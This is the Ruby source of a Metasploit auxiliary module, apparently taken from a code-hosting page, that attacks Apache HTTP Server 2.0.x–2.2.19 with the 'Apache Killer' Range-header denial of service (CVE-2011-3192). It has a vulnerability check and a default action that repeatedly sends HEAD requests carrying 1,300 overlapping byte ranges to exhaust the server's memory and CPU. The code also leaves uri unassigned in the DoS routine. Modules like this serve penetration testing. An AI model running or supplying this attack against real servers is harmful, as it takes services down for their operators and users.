cgranleese-r7
136 lines
3.8 KiB
Ruby
136 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Apache Range Header DoS (Apache Killer)',
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'Description' => %q{
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The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
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through 2.2.19 allows remote attackers to cause a denial of service (memory and
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CPU consumption) via a Range header that expresses multiple overlapping ranges,
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exploit called "Apache Killer".
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},
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'Author' => [
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'Kingcope', # original discovery
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'Masashi Fujiwara', # metasploit module
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'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
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],
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'License' => MSF_LICENSE,
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'Actions' => [
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['DOS', { 'Description' => 'Trigger Denial of Service against target' }],
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['CHECK', { 'Description' => 'Check if target is vulnerable' }]
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],
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'DefaultAction' => 'DOS',
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'References' => [
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[ 'BID', '49303'],
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[ 'CVE', '2011-3192'],
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[ 'EDB', '17696'],
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[ 'OSVDB', '74721' ],
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],
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'DisclosureDate' => '2011-08-19',
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'Notes' => {
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'AKA' => ['Apache Killer'],
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'Stability' => [CRASH_SERVICE_DOWN],
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'SideEffects' => [],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('URI', [ true, 'The request URI', '/']),
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OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])
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]
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)
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end
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def run_host(_ip)
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case action.name
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when 'DOS'
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conduct_dos
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when 'CHECK'
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check_for_dos
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end
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end
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def check_for_dos
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uri = datastore['URI']
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rhost = datastore['RHOST']
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'HEAD',
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'headers' => {
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'HOST' => rhost,
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'Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10',
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'Request-Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10'
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}
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})
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if res && res.code == 206
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print_status("Response was #{res.code}")
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print_status("Found Byte-Range Header DOS at #{uri}")
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report_note(
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:host => rhost,
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:port => rport,
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:type => 'apache.killer',
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:data => { :uri => uri }
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)
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else
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print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
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vprint_error(e.message)
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end
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def conduct_dos
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datastore['URI']
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rhost = datastore['RHOST']
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ranges = ''
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for i in (0..1299) do
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ranges += ',5-' + i.to_s
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end
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for x in 1..datastore['RLIMIT']
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begin
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print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
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_res = send_request_cgi(
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{
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'uri' => uri,
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'method' => 'HEAD',
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'headers' => {
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'HOST' => rhost,
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'Range' => "bytes=0-#{ranges}",
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'Request-Range' => "bytes=0-#{ranges}"
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}
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},
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1
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)
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rescue ::Rex::ConnectionRefused
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print_error("Unable to connect to #{rhost}:#{rport}")
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rescue ::Errno::ECONNRESET
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print_good("DoS packet successful. #{rhost} not responding.")
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Couldn't connect to #{rhost}:#{rport}")
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rescue ::Timeout::Error, ::Errno::EPIPE => e
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vprint_error(e.message)
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end
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end
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end
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end
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